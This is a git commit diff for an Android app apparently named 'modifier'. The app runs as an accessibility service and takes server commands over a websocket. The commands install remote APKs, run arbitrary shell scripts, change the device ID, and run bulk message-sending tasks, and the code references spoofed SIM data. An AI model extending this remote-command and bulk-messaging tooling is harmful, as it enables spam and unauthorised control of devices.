x1ongzhu 1 год назад
Родитель
Сommit
280fd1c450

+ 1 - 1
app/build.gradle

@@ -24,7 +24,7 @@ android {
         applicationId "com.example.modifier"
         minSdk 29
         targetSdk 34
-        versionCode 130
+        versionCode 131
         versionName "1.0.1"
         archivesBaseName = "modifier-${versionCode}"
 

+ 0 - 7
app/src/main/java/com/example/modifier/model/BaseAction.kt

@@ -1,7 +0,0 @@
-package com.example.modifier.model
-
-import kotlinx.serialization.Serializable
-
-@Serializable
-open class BaseAction(open val id: String,open val action: String) {
-}

+ 4 - 0
app/src/main/java/com/example/modifier/model/InstallApkAction.kt

@@ -5,4 +5,8 @@ import kotlinx.serialization.Serializable
 @Serializable
 class InstallApkAction(val id: String, val action: String, val data: InstallApkData) {
 
+}
+
+@Serializable
+class InstallApkData(val apkUrl: String) {
 }

+ 0 - 7
app/src/main/java/com/example/modifier/model/InstallApkData.kt

@@ -1,7 +0,0 @@
-package com.example.modifier.model
-
-import kotlinx.serialization.Serializable
-
-@Serializable
-class InstallApkData(val apkUrl: String) {
-}

+ 4 - 0
app/src/main/java/com/example/modifier/model/RunScriptAction.kt

@@ -5,4 +5,8 @@ import kotlinx.serialization.Serializable
 @Serializable
 class RunScriptAction(val id: String, val action: String, val data: RunScriptData) {
 
+}
+
+@Serializable
+class RunScriptData(val script: String) {
 }

+ 0 - 7
app/src/main/java/com/example/modifier/model/RunScriptData.kt

@@ -1,7 +0,0 @@
-package com.example.modifier.model
-
-import kotlinx.serialization.Serializable
-
-@Serializable
-class RunScriptData(val script: String) {
-}

+ 32 - 0
app/src/main/java/com/example/modifier/model/TaskAction.kt

@@ -1,8 +1,40 @@
 package com.example.modifier.model
 
+import com.example.modifier.serializer.LocalDateTimeSerializer
 import kotlinx.serialization.Serializable
+import java.time.LocalDateTime
 
 @Serializable
 class TaskAction(val id: String, val action: String, val data: TaskData) {
 
+}
+
+@Serializable
+class TaskData(val config: TaskConfig, val taskId: Int, val tasks: Array<TaskItem>) {
+}
+
+@Serializable
+class TaskConfig(
+    val rcsWait: Long,
+    val rcsInterval: Long,
+    val cleanCount: Int,
+    val requestNumberInterval: Long,
+    val checkConnection: Boolean,
+    val useBackup: Boolean,
+    val e2ee: Int = 0,
+    val e2eeTimeout: Long = 5000
+)
+
+@Serializable
+class TaskItem(
+    val id: Int,
+    @Serializable(with = LocalDateTimeSerializer::class)
+    val createdAt: LocalDateTime,
+    val taskId: Int,
+    val number: String,
+    val message: String,
+    val status: String,
+    @Serializable(with = LocalDateTimeSerializer::class)
+    val sendAt: LocalDateTime?
+) {
 }

+ 0 - 15
app/src/main/java/com/example/modifier/model/TaskConfig.kt

@@ -1,15 +0,0 @@
-package com.example.modifier.model
-
-import kotlinx.serialization.Serializable
-
-@Serializable
-class TaskConfig(
-    val rcsWait: Long,
-    val rcsInterval: Long,
-    val cleanCount: Int,
-    val requestNumberInterval: Long,
-    val checkConnection: Boolean,
-    val useBackup: Boolean,
-    val e2ee: Int = 0,
-    val e2eeTimeout: Long = 5000
-)

+ 0 - 7
app/src/main/java/com/example/modifier/model/TaskData.kt

@@ -1,7 +0,0 @@
-package com.example.modifier.model
-
-import kotlinx.serialization.Serializable
-
-@Serializable
-class TaskData(val config: TaskConfig, val taskId: Int, val tasks: Array<TaskItem>) {
-}

+ 0 - 20
app/src/main/java/com/example/modifier/model/TaskItem.kt

@@ -1,20 +0,0 @@
-package com.example.modifier.model
-
-import com.example.modifier.serializer.LocalDateTimeSerializer
-import kotlinx.serialization.Serializable
-import java.time.LocalDateTime
-import java.util.Date
-
-@Serializable
-class TaskItem(
-    val id: Int,
-    @Serializable(with = LocalDateTimeSerializer::class)
-    val createdAt: LocalDateTime,
-    val taskId: Int,
-    val number: String,
-    val message: String,
-    val status: String,
-    @Serializable(with = LocalDateTimeSerializer::class)
-    val sendAt: LocalDateTime?
-) {
-}

+ 11 - 0
app/src/main/java/com/example/modifier/model/UpdateDeviceAction.kt

@@ -0,0 +1,11 @@
+package com.example.modifier.model
+
+import kotlinx.serialization.Serializable
+
+@Serializable
+class UpdateDeviceAction(val id: String, val action: String, val data: UpdateDeviceData) {
+}
+
+@Serializable
+class UpdateDeviceData(val id: String?, val name: String?) {
+}

+ 6 - 0
app/src/main/java/com/example/modifier/repo/AppPreferencesRepository.kt

@@ -59,6 +59,12 @@ class AppPreferencesRepository(private val context: Context) {
 
     suspend fun stateFlow() = appPreferencesFlow.stateIn(CoroutineScope(coroutineContext))
 
+    suspend fun updateId(id: String) {
+        context.appPreferencesDataStore.edit { preferences ->
+            preferences[PreferencesKeys.ID] = id
+        }
+    }
+
     suspend fun updateServer(server: String) {
         context.appPreferencesDataStore.edit { preferences ->
             preferences[PreferencesKeys.SERVER] = server

+ 1 - 0
app/src/main/java/com/example/modifier/service/ModifierService.kt

@@ -259,6 +259,7 @@ class ModifierService : AccessibilityService() {
                         socketClient.disconnect()
                     }
                     socketClient = SocketClient(
+                        appPreferences.value.id,
                         appPreferences.value.server,
                         appPreferences.value.name,
                         taskRunner

+ 22 - 2
app/src/main/java/com/example/modifier/service/SocketClient.kt

@@ -11,8 +11,8 @@ import com.example.modifier.model.SocketCallback
 import com.example.modifier.model.TaskAction
 import com.example.modifier.model.TaskConfig
 import com.example.modifier.model.TaskExecutionResult
+import com.example.modifier.model.UpdateDeviceAction
 import com.example.modifier.serializer.Json
-import com.example.modifier.utils.uniqueId
 import io.socket.client.IO
 import io.socket.client.Socket
 import io.socket.emitter.Emitter
@@ -25,6 +25,7 @@ import org.json.JSONException
 import org.json.JSONObject
 
 class SocketClient(
+    private val id: String,
     private val server: String,
     private val name: String,
     private val taskRunner: TaskRunner
@@ -35,7 +36,7 @@ class SocketClient(
 
     init {
         mSocketOpts.query =
-            "model=${Build.MODEL}&name=${name}&id=$uniqueId&version=${BuildConfig.VERSION_CODE}"
+            "model=${Build.MODEL}&name=${name}&id=$id&version=${BuildConfig.VERSION_CODE}"
         mSocketOpts.transports = arrayOf("websocket")
 
         mSocket = IO.socket(server, mSocketOpts)
@@ -142,6 +143,25 @@ class SocketClient(
                         Log.e(tag, "runScript error", e)
                         socketCallback(id = id, status = -1, error = e.message)
                     }
+                } else if ("updateDevice" == action) {
+                    try {
+                        val updateDeviceAction =
+                            Json.decodeFromString<UpdateDeviceAction>(json.toString())
+                        CoroutineScope(Dispatchers.IO).launch {
+                            taskRunner.updateDevice(updateDeviceAction, onSuccess = {
+                                socketCallback(id = updateDeviceAction.id, status = 0, data = "OK")
+                            }, onError = { error ->
+                                socketCallback(
+                                    id = updateDeviceAction.id,
+                                    status = -1,
+                                    error = error.message
+                                )
+                            })
+                        }
+                    } catch (e: Exception) {
+                        Log.e(tag, "updateDevice error", e)
+                        socketCallback(id = id, status = -1, error = e.message)
+                    }
                 }
             }
         }

+ 22 - 2
app/src/main/java/com/example/modifier/service/TaskRunner.kt

@@ -33,6 +33,7 @@ import com.example.modifier.model.SpoofedSimInfo
 import com.example.modifier.model.TaskAction
 import com.example.modifier.model.TaskConfig
 import com.example.modifier.model.TaskExecutionResult
+import com.example.modifier.model.UpdateDeviceAction
 import com.example.modifier.repo.AppPreferencesRepository
 import com.example.modifier.repo.AppStateRepository
 import com.example.modifier.repo.BackupRepository
@@ -797,7 +798,7 @@ class TaskRunner(
             onSuccess()
             file.delete()
         } catch (e: Exception) {
-            Log.e("Modifier", "Failed to install apk", e)
+            Log.e(tag, "Failed to install apk", e)
             onError(e)
         }
     }
@@ -811,7 +812,26 @@ class TaskRunner(
             val (out, err) = shellRun(*installApkAction.data.script.split("\n").toTypedArray())
             onSuccess(out, err)
         } catch (e: Exception) {
-            Log.e("Modifier", "Failed to run script", e)
+            Log.e(tag, "Failed to run script", e)
+            onError(e)
+        }
+    }
+
+    suspend fun updateDevice(
+        updateDeviceAction: UpdateDeviceAction,
+        onSuccess: () -> Unit,
+        onError: (Exception) -> Unit
+    ) {
+        try {
+            if (updateDeviceAction.data.id != null) {
+                appPreferencesRepository.updateId(updateDeviceAction.data.id)
+            }
+            if (updateDeviceAction.data.name != null) {
+                appPreferencesRepository.updateName(updateDeviceAction.data.name)
+            }
+            onSuccess()
+        } catch (e: Exception) {
+            Log.e(tag, "Failed to update device", e)
             onError(e)
         }
     }

+ 4 - 7
app/src/main/java/com/example/modifier/utils/System.kt

@@ -22,6 +22,7 @@ import com.example.modifier.http.ktorClient
 import com.example.modifier.service.ModifierService
 import io.ktor.client.request.head
 import kotlinx.coroutines.delay
+import kotlinx.coroutines.runBlocking
 import org.apache.commons.lang3.StringUtils
 import java.io.File
 import java.time.ZoneId
@@ -36,23 +37,19 @@ const val systemTag = "$baseTag/System"
 val uniqueId: String
     @SuppressLint("HardwareIds")
     get() {
-        val context = Utils.getContext()
-        Objects.requireNonNull(context)
-        val sharedPrefs =
-            context.getSharedPreferences(BuildConfig.APPLICATION_ID, Context.MODE_PRIVATE)
-        var uniqueID = sharedPrefs.getString("unique_id", "")!!
+        var uniqueID = ""
         if (uniqueID.isBlank()) {
             try {
+                val context = getContext()!!
                 uniqueID =
                     Settings.Secure.getString(context.contentResolver, Settings.Secure.ANDROID_ID)
             } catch (e: java.lang.Exception) {
                 e.printStackTrace()
             }
         }
-        if (StringUtils.isBlank(uniqueID)) {
+        if (uniqueID.isBlank()) {
             uniqueID = UUID.randomUUID().toString()
         }
-        sharedPrefs.edit().putString("unique_id", uniqueID).apply()
         return uniqueID
     }
 

+ 0 - 20
app/src/test/java/com/example/modifier/ExampleUnitTest.kt

@@ -1,31 +1,11 @@
 package com.example.asdfasdfawf
 
-import android.util.Log
-import com.example.modifier.Utils
 import com.example.modifier.model.SocketCallback
 import com.example.modifier.model.TaskExecutionResult
 import com.example.modifier.serializer.Json
-import com.example.modifier.utils.genICCID
-import com.example.modifier.utils.genIMEI
-import com.example.modifier.utils.genIMSI
-import com.google.android.gms.tasks.Task
-import kotlinx.coroutines.CoroutineScope
-import kotlinx.coroutines.Dispatchers
-import kotlinx.coroutines.coroutineScope
-import kotlinx.coroutines.delay
-import kotlinx.coroutines.launch
-import kotlinx.coroutines.runBlocking
-import kotlinx.coroutines.withTimeout
 import kotlinx.serialization.encodeToString
-import org.json.JSONObject
 import org.junit.Test
 
-import org.junit.Assert.*
-import java.time.LocalDateTime
-import java.time.ZoneId
-import java.time.ZonedDateTime
-import java.time.format.DateTimeFormatter
-
 /**
  * Example local unit test, which will execute on the development machine (host).
  *